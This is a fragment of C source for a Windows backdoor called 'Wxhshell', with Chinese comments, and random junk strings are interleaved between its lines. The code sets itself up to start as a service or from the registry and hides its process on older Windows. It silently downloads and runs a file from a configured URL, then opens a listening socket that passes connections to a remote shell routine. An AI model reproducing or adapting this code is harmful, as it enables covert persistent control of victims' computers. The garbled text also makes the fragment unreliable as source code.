以服务启动 %/!f^PIwX "{~^EQq, return 0; // 注册表启动 tZ*>S]qD } (#qQ;ch b'ir$RL] c // 主模块 58`Dcx,yJ int StartWxhshell(LPSTR lpCmdLine) 9PaV*S(\TR { F+W{R+6 SOCKET wsl; 5*Dh#FRp BOOL val=TRUE; i.FdZN{ int port=0; KmWd$Qy, struct sockaddr_in door; hxw6^EA 4ZYywD wn if(wscfg.ws_autoins) Install(); wX!0KxR/Z u_o]\D~ port=atoi(lpCmdLine); *fLVzYpo Sg\+al7 if(port<=0) port=wscfg.ws_port; ,WAJ&
'^ 3S%/>)k WSADATA data; SR<W3a\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uE..1N&* f/m0,EERk if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5E}]U,$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P#rS.CIh door.sin_family = AF_INET; PMQlJ& door.sin_addr.s_addr = inet_addr("127.0.0.1"); H5CL0#I door.sin_port = htons(port); $wl_ V%`\x\Xat if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o}52Qio closesocket(wsl); \#C]|\ return 1; 3aJYl3:0B } O6">Io5 8LY^>. if(listen(wsl,2) == INVALID_SOCKET) { y3P4]sq closesocket(wsl); w,0OO
f return 1; #TB
3|= } AyOy&]g Wxhshell(wsl); jFI`CA6P WSACleanup(); F U)=+m aeEio;G1 return 0; @z=L\e{ F^?DnZs } :+8qtIytKX "cvhx/\1# // 以NT服务方式启动 "}S6a?]V VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AH:0h X6+ { 6yC4rX!a DWORD status = 0; | _nBiHjNn DWORD specificError = 0xfffffff; &fE2zTz \AB)L{ serviceStatus.dwServiceType = SERVICE_WIN32; `:Oje serviceStatus.dwCurrentState = SERVICE_START_PENDING; N).'> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RxVZn"" serviceStatus.dwWin32ExitCode = 0; h:KEhj\d? serviceStatus.dwServiceSpecificExitCode = 0; a/[)A _- serviceStatus.dwCheckPoint = 0; $M$-c{>s serviceStatus.dwWaitHint = 0; v]}\Ns/ FJn.V1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l]~IZTC if (hServiceStatusHandle==0) return; zu
7Fq]zD z:&/O&? status = GetLastError(); q
w@g7 if (status!=NO_ERROR) wVc^l { @E>I<j,D serviceStatus.dwCurrentState = SERVICE_STOPPED; g|tclBx serviceStatus.dwCheckPoint = 0; $KP;9 serviceStatus.dwWaitHint = 0; dZ4c!3'F serviceStatus.dwWin32ExitCode = status; thE9fr/ serviceStatus.dwServiceSpecificExitCode = specificError; eYevj[c; SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ne
r return; %l!-rXp } 3^-\=taN<m W>'(MB$3 serviceStatus.dwCurrentState = SERVICE_RUNNING; oqzWL~ serviceStatus.dwCheckPoint = 0; E;An':j serviceStatus.dwWaitHint = 0; o/&
IT(v if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N*)O_Ki } IsDwa qd| 8Y:x+v5 // 处理NT服务事件,比如:启动、停止 )jh~jU? c@ VOID WINAPI NTServiceHandler(DWORD fdwControl) )_6W@s { =q*c}8R_0 switch(fdwControl) B&<P >AZ { DcE4r>8B case SERVICE_CONTROL_STOP: Rr}m(e= serviceStatus.dwWin32ExitCode = 0; ux6p2Sk;K serviceStatus.dwCurrentState = SERVICE_STOPPED; +,j6dYub serviceStatus.dwCheckPoint = 0; +=sw&DH serviceStatus.dwWaitHint = 0; ?#RhHD { " ]OROJGa SetServiceStatus(hServiceStatusHandle, &serviceStatus); GInw7 } 5Vai0Qfcu: return; {d.K)8\ case SERVICE_CONTROL_PAUSE: nj1PR`AE serviceStatus.dwCurrentState = SERVICE_PAUSED; ^F&j;8U break; /U`p|M; case SERVICE_CONTROL_CONTINUE: E()%IC/R serviceStatus.dwCurrentState = SERVICE_RUNNING; }Kn
l break; WQbjq}RfI case SERVICE_CONTROL_INTERROGATE: /Z[HU{4 break; X,{[R | }; A6 `a SetServiceStatus(hServiceStatusHandle, &serviceStatus); u4bVp+ } (H\ `/%Bp -!K&\hEjj // 标准应用程序主函数 T|0d2aa int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B{p74
> { g's!\kr d8U<V<H< // 获取操作系统版本 ? % A2 OsIsNt=GetOsVer(); {R_ <m$ GetModuleFileName(NULL,ExeFile,MAX_PATH); lD-2 5~YV 9A/bA|$
// 从命令行安装 "h|kf%
W if(strpbrk(lpCmdLine,"iI")) Install(); X5)(,036 2+Oz$9`. // 下载执行文件 i%,
't if(wscfg.ws_downexe) { $PAAmaigi if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $cU7)vmK` WinExec(wscfg.ws_filenam,SW_HIDE); UtQCTNjC{ } X(\L1N :8HVq*itS if(!OsIsNt) { pMAP/..+2 // 如果时win9x,隐藏进程并且设置为注册表启动 ;8^(Z HideProc(); 6As%<g= StartWxhshell(lpCmdLine);
g/i%XTX> } f1;@a>X
else uGm?e]7Hx< if(StartFromService()) ?%Ww3cU+J // 以服务方式启动 g-1j#V`5 StartServiceCtrlDispatcher(DispatchTable); &]shBvzl^ else "a3?m) // 普通方式启动 '@Yp@
_ StartWxhshell(lpCmdLine); |I29m` #9F>21UU return 0; hQlyqTP|2 }
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